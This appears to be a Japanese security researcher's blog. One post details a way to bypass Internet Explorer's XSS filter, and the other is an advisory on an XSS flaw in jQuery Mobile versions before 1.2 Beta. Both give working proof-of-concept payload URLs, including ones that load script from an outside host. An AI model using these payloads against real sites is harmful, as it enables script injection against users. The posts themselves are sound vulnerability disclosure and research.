2012/09/25

ブラウザのXSS保護機能をバイパスする(3)

第3弾です。第1弾はこちら。第2弾はこちら

ターゲットはIEのXSSフィルターです。
今回のバイパスは、本来作成できてはならないjavascript:スキームのリンクをIEのXSSフィルターの挙動を利用して作成するという方法で行います。

いきなりですが、発見した方法はこれです。

http://vulnerabledoma.in/xssable?q=%22%3Ca%20href%3Djavascript%26.x3A%3Balert%26%28x28%3B1%26%29x29%3B//=%3Exxx

何がどうしてここにたどりついたのか、順に見ていきます。

IEは「<a href="javascript:alert(1)">xxx」のような文字列がクエリ文字列にあり、その文字列がページ中に出力されるなら、その出力の一部を書き換え、XSSを遮断しようとします。

http://vulnerabledoma.in/xssable?q=%3Ca%20href%3D%22javascript:alert%281%29%22%3Exxx
<a href="javasc#ipt:alert(1)">xxx

「javascript」の「r」を「#」に書き換えています。
小さくしていくと以下でも遮断されます。

 http://vulnerabledoma.in/xssable?q=javascript:1
 http://vulnerabledoma.in/xssable?q=javascript%26%23x3A%3B1
javasc#ipt:1
 「javascript」「コロン」「文字」というような組み合わせで遮断されるようです。

他の挙動も見ていきます。
IEは<script>タグの文字列リテラル中に出力されるようなXSSも遮断しようとします。

http://vulnerabledoma.in/xss_js?q=%22%3Balert(1)//
<script>var q="";alert#1#//"</script>
()が「#」に書き換えられています。
()が使えないなら、()を使わずに「";location.href='javascript:alert\x281\x29'//」とかでいけるんじゃないかと考えるのが我々XSSerです。

http://vulnerabledoma.in/xss_js?q=%22%3Blocation.href='javascript:alert\x281\x29'//
<script>var q="";lo#ation#href='javasc#ipt:alert\x281\x29'//"</script>

これもお見通しのようです。「location」の一部と、その後のドット、そして「javascript:」の部分が先ほどのように書き換えられています。

これを小さくしていくと、以下のようなものでも反応します。

http://vulnerabledoma.in/xss_js?q=%22%3Bx.x=
<script>var q="";x#x="</script>

「引用符」「区切り文字」「文字」「ドット」「文字」「=」というような組み合わせで、ドキュメント中の既存の<script>タグ内になんらかの代入を行おうとしているとみなされ、ドットが「#」に書き換えられるようです。
じゃあ「";&.x=」なんてのはどうなんでしょうか。

 http://vulnerabledoma.in/xss_js?q=%22%3B%26.x=
<script>var q="";&#x="</script>
これもドットを「#」にしています。「&#x」、おっと!何かが見えてきました!!

「&#x」という形が作れるということは、もし遮断後にaタグのhrefにこの形を配置できた場合、「&#x3A;」というような形も作れるということになります。
ボディになんの処理もなく出力されるXSSの場合に戻り、これを試してみます。

http://vulnerabledoma.in/xssable?q=%22%3Ca%20href%3D%22javascript%26.x3A%3Balert%281%29//=%22%3Exxx
"<a href="javascript&#x3A;alert#1#//=">xxx
おおお!javascript:という形のスキームを配置できてしまいました。
最初の「"」で区切っているフリをし、後半の「=」で代入しているフリをします。 これにより、<script>タグの文字列リテラル中の遮断ルールが発動するようにしています。

まだ()が遮断されて「#」になっているので、これらも同じようにそれぞれの()の前後に「&」「x28;/x29;」を配置して数値文字参照が現れるようにします。

 http://vulnerabledoma.in/xssable?q=%22%3Ca%20href%3Djavascript%26.x3A%3Balert%26%28x28%3B1%26%29x29%3B//=%3Exxx

"<a href="javascript&#x3A;alert&#x28;1&#x29;//=">xxx

ドカーン!

というかんじでたどりつきました。

ワンクリックで発動するリンクを作成できるようになるという点では、以前ブログに書いた同一オリジンからのリンクを作成してバイパスする方法と同等の問題にみえます。しかし、無害なものを有害なものに書き換えるという点で、以前のそれよりもタチが悪いものであると思います。

例えば以下は一応、XSSのない、ただの相対リンクが設定されただけの静的なページですが、

http://vulnerabledoma.in/ie_xssfilter.html
'<a href="javascript&.x3A;alert&(x28;1&)x29;//=">just a relative URL</a>

以下のようにURLに文字列を付加することで、XSSフィルターがjavascript:のURLに変化させてしまいます。

http://vulnerabledoma.in/ie_xssfilter.html?%27%3Ca%20href=%22javascript%26.x3A;alert%26%28x28;1%26%29x29;//=%22%3E
'<a href="javascript&#x3A;alert&#x28;1&#x29;//=">just a relative URL</a>

ただ、大抵の場合、保護すべきドメインの自由にリンクを設定できる箇所に「&」を何も手を加えず出力できるということは、「javascript&#x3A;alert(1)」というようなjavascriptを起動可能なURLを始めから設定できる可能性が高いことになる(=はじめからXSS脆弱性がある)ので、この方法によって新たにXSSが可能な穴をあけてしまうケースは、実際のところそう多くないのではないかと思います。

そうはいっても、遮断後に起きている誤りなので、明らかにXSSフィルターの欠陥であるといえます。しかも、トリッキーなものではなく、ごく普通にある脆弱パターンの遮断に失敗している点でよくありません。
改善を期待したいところです。

2012/09/06

jQuery Mobile 1.2 Beta未満は読み込んでいるだけでXSS脆弱性を作ります

(2012/9/25 最後に重要な追記があります。 )

jQuery Mobile 1.2 Betaがさきほどリリースされたようです。
タイトルの通り、それに満たないバージョンのjQuery Mobileには読み込んでいるだけでXSS脆弱性を作ってしまう問題があります。お使いの方はアップデートをお勧めします。

jQuery Mobile 1.2 Beta Released | jQuery Mobile
http://jquerymobile.com/blog/2012/09/05/jquery-mobile-1-2-beta-released/


以前の記事で触れた、一部のブラウザのlocation.hrefの挙動に絡むXSSが修正されています。

以下の件とは別の修正であることに注意してください。

jQuery MobileのXSSについての解説 - 金利0無利息キャッシング – キャッシングできます - subtech
http://subtech.g.hatena.ne.jp/mala/20110711/1310391177


このときは、クロスドメインでリソースを読み込むことを全く制限していなかったことにより問題が起きていました。今回の場合は、この修正でクロスドメインのリソースを読み込まないようにするチェックが入ったものの、一部のブラウザが返すlocation.hrefの値を考慮したチェック方法で無かったため、その一部のブラウザ上で誤って無関係のサイトを同一のドメインとみなしてしまい、通信をしてしまうことで起きています。

例えば、以下のようなURLでXSSが起こります。

http://l0.cm%2F@jquerymobile.com/demos/1.2.0-alpha.1/#//l0.cm/jqm


Safari 6未満・Android 4.1未満・Mobile Safari(iOS6.0未満)などでは、ホストの前にある@の前の文字列を同一のドメインとみなして、http://l0.cm/jqmのリソースを読み込んでしまいます。

以下で確認できるように、1.2 Betaではこの問題は起きません。

http://l0.cm%2F@jquerymobile.com/demos/1.2.0-beta.1/#//l0.cm/jqm


ということで、アップデートしましょう。


2012/9/25 追記 1.2 RC1/RC2では、問題が再発しているようです。
https://github.com/jquery/jquery-mobile/issues/4787#issuecomment-8808793

以下で確認できます。

http://l0.cm%2F@jquerymobile.com/demos/1.2.0-rc.1/#//l0.cm/jqm
http://l0.cm%2F@jquerymobile.com/demos/1.2.0-rc.2/#//l0.cm/jqm

今のところ公式にリリースされたもので対応されているのは、1.2 Betaだけということになります。
1.2 RC1/RC2を使うのは避けましょう。

2012/10/3 追記

1.2 がリリースされました。これは大丈夫そうです。

http://l0.cm%2F@jquerymobile.com/demos/1.2.0/#//l0.cm/jqm